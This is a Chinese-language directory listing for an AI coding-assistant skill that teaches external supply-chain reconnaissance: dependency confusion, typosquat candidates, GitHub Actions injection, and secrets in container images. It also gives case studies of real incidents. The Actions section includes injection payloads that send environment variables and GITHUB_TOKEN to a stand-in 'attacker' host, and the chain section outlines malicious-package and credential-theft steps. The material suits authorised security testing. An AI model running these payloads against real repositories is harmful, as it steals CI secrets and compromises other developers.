mcpField
S
supply-chain-attack-recon

supply-chain-attack-recon

github.com/elementalsouls安全5.3k268 次安装今天更新
代码仓库

关于 supply-chain-attack-recon

面向外部安全评估的供应链攻击面侦察技能,帮助安全人员检查公开代码库、构建工作流、容器镜像和依赖元数据。重点是发现泄露凭据、依赖混淆条件及 CI/CD 配置风险,并强调未经授权不得发布攻击性软件包。

主要功能

  1. 01枚举公开代码库与敏感文件
  2. 02发现内部依赖名称和注册表线索
  3. 03检查 GitHub Actions 注入风险
  4. 04搜寻容器镜像与构建日志泄露
  5. 05关联 SBOM 和依赖版本漏洞

适用场景

  1. 01审计公开 GitHub 组织及其仓库
  2. 02检查内部包名是否存在依赖混淆条件
  3. 03评估 CI 工作流的代码注入风险
  4. 04从镜像和日志中查找泄露凭据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill supply-chain-attack-recon

安装后在 Claude Code 中输入/supply-chain-attack-recon确认已加载。

详细介绍

适用场景

在以下情况下触发:

  • 目标拥有公开的 GitHub 组织(通过 OSINT 查找)
  • JS bundle 引用了看起来像内部包的名称(@target-internal/...、target-utils、target-shared)
  • 构建日志、SBOM 或 package-lock.json 文件可公开访问
  • 目标使用部分公开的 CI/CD(GitHub Actions、GitLab CI、Bitrise)
  • Docker Hub/GHCR/Quay 上的 Docker 镜像属于目标组织
  • 发现中包含带有内部注册表 URL 的 npmrc/pip.conf/gradle.properties
  • .github/workflows/*.yml 文件引用了内部工具

请勿用于:

  • 内部网络中的制品注册表(根据外部边界规定,不在范围内)
  • 未经明确许可,实际发布拼写抢注 / 依赖混淆软件包
  • 攻击上游开源项目(影响范围巨大——在大多数司法辖区,未经授权均属违法)

供应链攻击面图

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

第 1 步 — 发现 GitHub 组织

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

第 2 步 — 枚举公开仓库中的敏感制品

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

第 3 步 — 发现内部软件包名称

从 JS bundle 中发现
# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
从 GitHub 仓库的 package.json 文件中发现
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
从 Python 项目中发现
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

第 4 步 — 检查依赖混淆漏洞

对于发现的每个看起来像内部软件包的名称:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

严重性评估: 名称未被认领,并不代表它就能被利用。你还需要:

  1. 有证据表明目标的构建系统会从公共注册表解析名称(而不只是从内部注册表解析)
  2. 或有证据表明目标的软件包管理器配置不安全(例如,.npmrc 未配置 @scope:registry= 映射)
  3. 或该软件包会由其构建流程安装(它确实列在 package.json 中,而不只是被死代码引用)

如果注册表返回 404,但没有其他佐证,只能作为信息性发现。


第 5 步 — 拼写抢注候选项(针对外部依赖项)

对于目标使用的每个外部公共依赖项:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ 外部攻击提示: 将拼写抢注软件包发布到公共注册表,是对更广泛生态系统的攻击。未经明确、书面且范围清晰的批准,绝对不要这样做。这可能会影响参与范围之外的用户,并且可能违法。


第 6 步 — 扫描 GitHub Actions 工作流注入

对于包含 .github/workflows/ 的每个公开仓库:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done
需要标记的注入模式(严重性指南)
模式严重性
pull_request_target + actions/checkout 且使用 ref: pull_request.head.sha + 使用仓库机密严重 — 可在运行器上利用组织机密进行远程代码执行
${{ github.event.pull_request.title }} 被插入 shell 命令严重 — 可通过 PR 标题注入脚本
第三方操作固定到可变标签(uses: org/repo@v1 / @main),而非提交 SHA高 — 可重新指向的供应链攻击向量(参见案例 #9)
公共仓库工作流可访问自托管运行器高 — 攻击者可借此持续横向移动
由 issue 评论触发、并使用令牌运行 gh 的工作流高
工作流从目标控制的 URL 下载内容中
GitHub Actions 上下文注入入口(分支名称、PR 标题、issue 正文)

PR 元数据中的不可信上下文流入 run: 代码块,是一种经典的注入攻击向量。测试载荷:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.
公开的 GitHub Actions 运行日志(泄露机密)

公开仓库中的 Actions 日志默认公开。请查找:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

日志中泄露的机密意味着凭据被直接窃取;严重性取决于令牌类型(GitHub PAT、npm 令牌、AWS 密钥等)。

使用 zizmor 静态检测 Actions 注入入口

如需高置信度的自动标记,可对所有工作流文件运行 zizmor 分析器:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

Zizmor 可减少手动编写正则表达式的工作,并发现边缘情况(例如,通过变量引用间接插入上下文)。


第 7 步 — 挖掘 Docker / 容器镜像注册表

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update

第 8 步 — SBOM / 制品元数据泄露

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'

第 9 步 — 内部注册表 URL 泄露

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable

第 10 步 — npm/PyPI 组织信息

# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"

第 11 步 — 前端和第三方依赖检查

检测遭入侵的 CDN(polyfill.io 等)

已知遭入侵的 CDN 和分析服务已被武器化。检查目标的公开 HTML/JS:

# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'

# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
  grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done

参考:polyfill.io 于 2024 年遭入侵,被用于提供恶意载荷。发现其存在 = 供应链风险。


工具

工具用途
trufflehog文件系统/git/docker 密钥扫描
gitleaksGit 历史记录密钥扫描
dependency-confusion (Confused)npm 作用域/PyPI 检查
packj软件包风险评分(PyPI/npm/RubyGems)
Lift / Snyk vuln-db按软件包版本查找已知 CVE
actionlintGitHub Actions 静态分析器
zizmor检测 GitHub Actions 注入和安全反模式
OSSGadgetMicrosoft 的软件包元数据工具集
semgrep + 供应链规则检测工作流注入
osv-scanner将版本与已知漏洞匹配

严重性评分指南

发现严重性
内部软件包名称 + 未配置作用域映射 + 在公共 npm 上尚未被认领 + 正在构建中使用严重 — 依赖混淆 RCE
内部软件包名称 + 在 .npmrc 中配置了作用域映射,但 _authToken 已泄露严重 — 可直接推送到注册表
Pull_request_target 工作流 + 密钥暴露 + PR 可控制代码执行严重 — 组织范围的令牌失窃
含有泄露密钥层的 Docker 镜像高(视密钥而定)
内部注册表 URL 已披露(但没有凭据)低 — 仅信息披露
已发现仿冒候选名称(尚未发布)信息性 — 提醒事项
公共组织有 1000 个以上可能被认领的未使用名称信息性 — 卫生问题

反模式

  • 未经明确、签名且说明作用域的授权,切勿发布仿冒或依赖混淆软件包 — 这会影响参与测试范围之外的用户
  • 未经明确许可,切勿在测试中向客户代码仓库提交 PR — 可能需要工作流注入概念验证,但这会影响 CI/CD 和其他开发者
  • 切勿抓取整个 npm/PyPI 来寻找仿冒候选名称 — 这种做法不负责任且会产生大量噪声
  • 切勿将“名称尚未被认领”等同于“可利用的依赖混淆” — 关键在于构建系统;许多组织会使用正确的作用域映射来阻止攻击
  • 切勿接触 GitHub Actions 自托管运行器 — 它们可能位于客户网络内部,超出外部测试范围
  • 切勿盲目拉取大型 Docker 镜像 — 镜像可能有 5-50GB;请先检查标签

可作为交付成果的发现

供应链发现必须满足以下所有条件:

  1. 明确的名称/路径 — 精确的内部软件包名称、工作流文件路径或镜像标签
  2. 漏洞机制 — 依赖混淆/仿冒/注入等
  3. 可利用性证据 — 证明构建/安装确实会使用攻击者的载荷(而不仅仅是“名称尚未被认领”)
  4. 严重性 — 根据影响范围进行校准(一个开发者?所有开发者?该软件包的所有用户?)
  5. 建议 — 具体明确(例如,“即使不使用,也要在 npm 上以自己的名义注册未使用的名称 @target-internal/utils;配置 .npmrc 作用域:注册表映射”)

邻近技能衔接

  • apk-redteam-pipeline — APK 也会泄露内部包名(可在反编译的 build.gradle 中查找)
  • cloud-iam-deep — CI/CD 密钥通常就是云凭据;此技能负责发现它们,那个技能负责验证它们
  • hunt-cloud-misconfig — CI/CD 流水线错误配置(Jenkins / GitLab Runner)存在重叠
  • m365-entra-attack — Azure DevOps 流水线属于 Entra 攻击面的一部分
  • redteam-report-template — 供应链发现需要更清楚地说明影响范围(单个仓库还是整个生态系统)
  • mid-engagement-ir-detection — 在公共 npm 上注册名称不会触发客户端内部的任何动作,但任何发布操作都会引起关注并留下审计记录

外部范围边界检查

此技能完全针对外部目标——所有目标都是公共注册表 / 公共 GitHub。如果参与的测试涉及客户的内部制品注册表(内部 Nexus、JFrog、Sonatype),那属于内部基础设施,根据 feedback_skill_boundaries 明确不在范围内。应将内部注册表 URL 暴露报告为发现;不要尝试枚举该注册表。


真实案例参考

  • Alex Birsan 2021 — 最初的依赖混淆研究,从 Apple/Microsoft/PayPal/Yelp 等公司获得超过 13 万美元的漏洞赏金。
  • ua-parser-js 2021 — 通过窃取维护者凭据,攻陷 npm 包
  • node-ipc 2022 — 维护者引入的供应链恶意更新
  • 3CX 2023 — 通过 X_TRADER → 3CX → 客户展开的连锁供应链攻击
  • XZ Utils 2024 — 针对上游 OSS 的多年社会工程供应链攻击

值得逐一阅读这些案例,了解攻击为何奏效,以及此前存在哪些危险信号。


已披露案例目录(引用)

以下列出 12 起文档详实的公开案例,并映射至上述侦察面。每个条目包括:攻击名称、年份、攻击流程、根本原因、影响、参考资料,以及侦察技能的要点。

1. SolarWinds Orion / SUNBURST(CISA AA20-352A,2020 年 12 月)
2. 3CX VoIP 软电话供应链攻击(CVE-2023-29059,2023 年 3 月)
3. MOVEit Transfer 大规模利用(CVE-2023-34362,2023 年 5 月至 7 月)
4. Codecov bash 上传器遭入侵(2021 年 4 月)
  • **攻击流程:**攻击者利用镜像创建流程中的凭据错误,获得了 Codecov Docker 镜像构建流程的访问权限,随后篡改了 Bash Uploader 脚本(https://codecov.io/bash),将环境变量外传至第三方 IP。此次篡改从 2021 年 1 月 31 日持续至 2021 年 4 月 1 日,直到一位客户发现 SHA-256 不匹配,才在两个月后被检测到。
  • **根本原因:**Docker 镜像构建过程泄露了一项凭据,使攻击者能够修改所提供的 bash 脚本;客户侧没有进行完整性验证(没有固定并验证签名哈希)。
  • **影响:**全球所有通过 curl -s https://codecov.io/bash | bash 执行 CI 的流程,在两个月内都外传了环境变量。已确认的下游受害者包括:HashiCorp(轮换了 GPG 密钥)、Twilio、Rapid7(部分源代码暴露)、Mercari、Confluent 和 Atlassian。
  • 参考资料:
  • **侦察要点:**公开 CI 工作流中的“curl-bash-install”模式是这项侦察技能的重点目标——在 .github/workflows/ 中搜索 curl ... | bash、wget ... | sh、iwr ... | iex。任何传入 shell 的第三方 URL 都可能造成供应链攻击的大范围影响。在工作流中固定 SHA 可以降低风险;未固定则应作为发现项。
5. ua-parser-js npm 劫持事件(2021 年 10 月)
  • **攻击流程:**攻击者通过钓鱼或凭据填充攻击了维护者的 npm 账号,并发布了 ua-parser-js 的 0.7.29、0.8.0 和 1.0.0 版本(每周下载量约 700 万次,经由依赖传递影响 Facebook、Microsoft、Amazon 和 IBM)。恶意版本运行了一个 preinstall 钩子,用于下载加密货币挖矿程序和 Windows 密码窃取程序(Jason 凭据窃取程序)。
  • **根本原因:**维护者的 npm 账号未启用 2FA,且凭据较弱;当时 npm 未要求高价值发布者启用 2FA。
  • **影响:**相关软件包在被下架前存在约 4 小时,但在此期间被安装了数万次。CISA 发布了紧急警报,这是 CISA 首次针对 npm 软件包遭入侵发出警告。
  • 参考资料:
  • **侦察要点:**按软件包下载量找出目标使用的 npm/PyPI 下载量排名前 30 的维护者,然后检查其账号是否启用了 2FA(npm 可通过组织成员的 npm profile get 查看此信息;注册表 API 也会部分公开相关信息)。侦察结果示例:“根据公开注册表数据,这 4 位维护者控制的软件包总安装量为 X,且账号未启用 2FA。”
6. event-stream npm 软件包(2018 年 11 月)
  • 攻击流程: 原维护者 Dominic Tarr(已不再使用该模块)将 event-stream(每周约 200 万次下载)交给一位表示愿意维护它的新贡献者“right9ctrl”。新维护者添加了 flatmap-stream 作为依赖项,随后推送了一个 flatmap-stream 更新,其中包含针对 Copay 比特币钱包构建过程的载荷——窃取任何 Copay 用户的 BTC/BCH 钱包种子。
  • 根本原因: 维护权交接过程中遭遇了社会工程攻击;接手关键软件包的新贡献者没有经过审查。只有当 event-stream 被打包进 Copay 钱包时,恶意依赖项才会触发(针对特定构建上下文)。
  • 影响: Copay 钱包用户的密钥遭到窃取;具体的经济损失金额从未公开披露。此事件促使 npm 全面推行双重身份验证(2FA),并制定了“热门软件包需要额外审查”的政策。
  • 参考资料:
  • 侦察要点: 检查目标所依赖软件包的 npm view <pkg> maintainers 输出和近期维护者变更。下载量超过 100K 的软件包若在过去 90 天内更换过维护者,就应视为黄色警示。此外,按构建上下文定向的载荷(仅在打包进特定应用时触发)很难检测——静态扫描器会漏掉它。
7. PHP Git 服务器遭入侵(2021 年 3 月)
  • 攻击流程: 攻击者向 git.php.net 上的官方 php-src Git 仓库推送了两次恶意提交,并冒用 Rasmus Lerdorf 和 Nikita Popov 的签名。这些提交加入了一个 Zend 后门,可执行来自 User-Agentt HTTP 标头(注意末尾有两个 t)的代码。
  • 根本原因: 自托管 Git 服务器(基于 Gitolite 的 git.php.net)存在凭据/身份验证漏洞——可能与用户数据库泄露后密码以明文存储有关。事件发生后,PHP 团队迁移至 GitHub,并将其设为权威源代码仓库。
  • 影响: 后门提交在数小时内被发现,从未随正式版本发布。但这是“自托管的事实来源仓库 = 单点故障”的典型案例。
  • 参考资料:
  • 侦察要点: 使用自托管 Git(Gitea、Gitolite、Phabricator、Bitbucket Server)的目标,比托管在 GitHub 上的目标风险更高。侦察时应识别 Git 服务器软件,检查默认凭据,并关注来自异常 IP 地址、基于 SSH 密钥的推送(可在提交元数据中看到)。
8. Log4Shell(CVE-2021-44228,2021 年 12 月)
  • **攻击流程:**严格来说,这并非供应链攻击,但它是“你不知道依赖树中包含什么”的典型事件。Apache Log4j 2.x 中的 JNDI 查找功能允许攻击者通过任意日志字符串中的 ${jndi:ldap://attacker/...} 远程执行代码。由于数千款 Java 应用会间接引入 Log4j,数亿个系统都存在漏洞。
  • **根本原因:**2013 年发布的默认不安全功能(MessageLookup 替换);层层嵌套的间接依赖使清点和修补几乎不可能。
  • **影响:**CISA 主任 Jen Easterly 称其为“十年来最严重的漏洞”。所有主要云服务、所有 Apache 产品以及所有 Java 企业技术栈均受影响。Conti、Khonsari 勒索软件以及国家级行为者持续进行大规模攻击。
  • 参考资料:
  • **侦察要点:**SBOM 是解决此问题的关键。侦察技能的第 8 步(SBOM 挖掘)能发挥重要作用——从公开发布产物中提取 SPDX/CycloneDX 文件,可获取准确的间接依赖版本,然后将其映射到 OSV / NVD,查找已知 CVE。大多数组织都低估了依赖树的深度。
9. tj-actions/changed-files GitHub Action 遭入侵(CVE-2025-30066,2025 年 3 月)
10. PyPI typosquatting(colourama、python3-dateutil、jeIlyfish 等)
  • **攻击流程:**攻击者在 PyPI 注册名称与热门软件包视觉上或拼写上相似的软件包——用 colourama 仿冒 colorama,用 python3-dateutil 仿冒 python-dateutil,用 jeIlyfish(以大写字母 I 替代 L)仿冒 jellyfish。这些软件包都包含 setup.py 安装后钩子,用于窃取 SSH 密钥、GPG 密钥、GitHub 令牌,或安装针对 ~/.bitcoin/wallet.dat 的加密货币窃取程序。
  • **根本原因:**PyPI 允许名称容易混淆的软件包;pip 按完全匹配的字符串解析名称。发布新软件包时没有人工审核环节。
  • **影响:**每次活动在被下架前的安装量通常不到 1 万次,但 jeIlyfish 存活了 1 年(2018 年 12 月至 2019 年 12 月)。累计来看,Snyk、Phylum、Sonatype 和 ReversingLabs 每年都会记录数十起活动。
  • 参考资料:
  • **侦察要点:**技能的第 5 步(生成 typosquatting 候选名称)与此直接相关。进行外部侦察时,你要列出 typosquatting 候选名称——除非获得明确授权,否则绝不要发布。交付内容应为:“你的主要依赖项有 17 个 typosquatting 变体名称目前尚未被注册;建议采取防御性注册。”
11. Alex Birsan 披露依赖混淆问题(2021 年 2 月)
  • **攻击流程:**Birsan 从泄露的 package.json 文件(在 archive.org 上公开缓存、意外公开的 GitHub 仓库、JS bundle)中提取了 Apple、Microsoft、PayPal、Shopify、Uber、Tesla、Yelp 等公司(以及约 35 家其他公司)的内部 npm scope 名称。他在公开的 npm/PyPI/RubyGems 上使用这些内部名称发布软件包,并设置了更高的 semver 版本。随后,大多数公司的构建系统都会选择公开软件包而非内部软件包,并执行他仅用于遥测的载荷。
  • **根本原因:**软件包管理器(npm、pip、gem)默认“无论软件包来自哪个注册表,都选择最高版本”。内部软件包名称泄露到了外部来源。没有强制执行 scope 与注册表的对应关系。
  • **影响:**获得超过 13 万美元的漏洞赏金(2021 年多个项目中已知单个研究人员获得的最高金额);催生了整个“依赖混淆”攻击类别;npm/PyPI/Microsoft Azure Artifacts 均发布了缓解措施。
  • 参考资料:
  • **侦察要点:**这是技能第 3 步和第 4 步的奠基性引用。通过 JS bundle 发现内部 scope 是典型的侦察路径。请注意 Birsan 对严重程度的判断:“名称尚未被注册”本身就足以影响大多数目标,因为它们的构建使用 npm install,且配置会回退到公开 npm——但技能的严重程度表也正确指出,这并非普遍情况。
12. XZ Utils(CVE-2024-3094,2024 年 3 月)
  • 攻击流程:“Jia Tan”(JiaT75)历时 2 年多对 xz-utils 的维护者实施社会工程攻击。(xz-utils 是上游开源软件压缩库,几乎所有 Linux 发行版都在使用。)获得共同维护者身份后,Ta 在 liblzma 构建流程中植入了多阶段后门,并将其伪装成测试样例。该后门会通过 OpenSSH 的 systemd-notify 集成劫持 SSH 身份验证。
  • **根本原因:**单一维护者的开源软件倦怠,加上国家级攻击者般的耐心(Operation J/疑似 APT)。由于 Andres Freund 在基准测试中注意到 SSH 延迟了 500 ms,后门在主要发行版发布之前就被发现了(当时只有 Fedora Rawhide 和 Debian unstable 短暂包含了它)。
  • **影响:**在大规模部署前被发现,是一次险些酿成重大事故的事件。此事促使业界全面重新评估“由单一维护者维护的关键开源软件”所带来的风险。CISA、NIST、OpenSSF 均发布了事后分析。
  • 参考资料:
  • **侦察要点:**这是外部侦察最难处理的案例——历时数年对维护者实施社会工程攻击,留下的外部信号寥寥无几。不过,GitHub 提交历史分析(关键库中获得提交权限的新贡献者、添加混淆测试样例的提交、仅在发布时生效的更改)正是 Andres Freund 实际采用的方法。可以将这项技能的第 2 步(枚举公开代码库)扩展为“留意高信任权限被授予历史记录很少的账号”。

覆盖情况:案例 → 侦察技能步骤
技能步骤对应案例
第 1 步 — 发现 GitHub 组织Birsan 2021、XZ 2024
第 2 步 — 挖掘公开代码库中的制品Codecov 2021、XZ 2024、PHP 2021
第 3 步 — 发现内部包名Birsan 2021
第 4 步 — 检查依赖混淆Birsan 2021、ua-parser-js 2021
第 5 步 — 查找仿冒包候选PyPI colourama/jeIlyfish、event-stream 2018
第 6 步 — 注入 GitHub Actions 工作流tj-actions/changed-files 2025、Codecov 2021
第 7 步 — 挖掘 Docker/容器注册表Codecov 2021、3CX 2023
第 8 步 — SBOM/制品元数据Log4Shell 2021、MOVEit 2023
第 9 步 — 泄露的内部注册表 URLBirsan 2021、SolarWinds 2020
第 10 步 — 检查 npm/PyPI 组织是否存在ua-parser-js 2021、event-stream 2018
12 起案例中的共同模式
  • 代码签名救不了你——SolarWinds、3CX、ua-parser-js 都发布过带有合法签名的恶意代码。
  • 固定到可变引用是反复出现的问题——curl | bash(Codecov)、@v35 Action 标签(tj-actions)、^1.0.0 semver 版本范围(Birsan、event-stream)。
  • 维护者账号被攻陷的影响超过技术 CVE,尤其是在 npm/PyPI 生态中——12 起案例中有 6 起。
  • 供应链级联已成常态——3CX 攻击始于 X_TRADER;Codecov → HashiCorp → HashiCorp 的下游用户。从概念上讲,应假定目标的供应商的供应商也在范围内。
  • CI 运行器是价值最高的立足点——在每起攻击者代码于 CI 运行器上执行的案例中,攻击者都大量获取了云服务、GitHub 或机密信息。

相关技能与链路

  • hunt-rce — 依赖混淆会在安装该包的任何运行器上造成 RCE;CI 运行器是价值最高的目标。链路原语:内部包名泄露在公开的 JS 包、SBOM 或 Docker 镜像中 → 在公共 npm/PyPI 上以相同名称发布更高版本的恶意包 → CI 运行器上的下一次 npm install / pip install 在 preinstall 钩子中执行攻击者代码 → 使用 hunt-rce 进行立足后的操作(提取环境变量可获取 AWS 密钥、GitHub PAT 和 Slack 令牌)→ 接管 CI 平面。
  • cloud-iam-deep — CI 运行器持有 IAM 凭据;在此处实施供应链 RCE 能大量窃取凭据。链路原语:恶意包在 GitHub Actions 运行器上执行 → 从环境变量中读取 $AWS_ACCESS_KEY_ID / $GITHUB_TOKEN → 使用 cloud-iam-deep 进行枚举 → IAM 权限提升链路 → 访问生产环境云平面。
  • offensive-osint — 侦察方法有大量重叠;SBOM、JS 包、GitHub 组织枚举和 Docker 注册表标签都涉及两者。链路原语:通过 offensive-osint 进行 GitHub 组织侦察,找到 CI 工作流中引用的内部包名 → 使用 supply-chain-attack-recon 将这些包名与公共 npm/PyPI 交叉比对,查找拼写仿冒/混淆候选项。
  • hunt-cloud-misconfig — 容器注册表(Docker Hub、GHCR、ECR public)经常意外暴露私有镜像。链路原语:SBOM 挖掘发现引用了 internal-tools-v2:latest → 检查 Docker Hub 上是否有意外公开的镜像副本 → 使用 hunt-cloud-misconfig 枚举注册表 → 拉取镜像 → 提取镜像层中嵌入的机密。
  • triage-validation + redteam-report-template — 供应链侦察在范围内;实际发布属于外部攻击活动,需要明确的书面批准。链路原语:整理出仅用于侦察的候选项列表 → 使用 triage-validation 的 7 项问题关卡进行审核(尤其是:“我能否在不发布的情况下证明影响?”)→ 通过 redteam-report-template 将其作为“依赖混淆候选项清单 + 复现步骤”报告,除非客户已书面批准,否则绝不提交已发布包的概念验证。

评论

支持 Markdown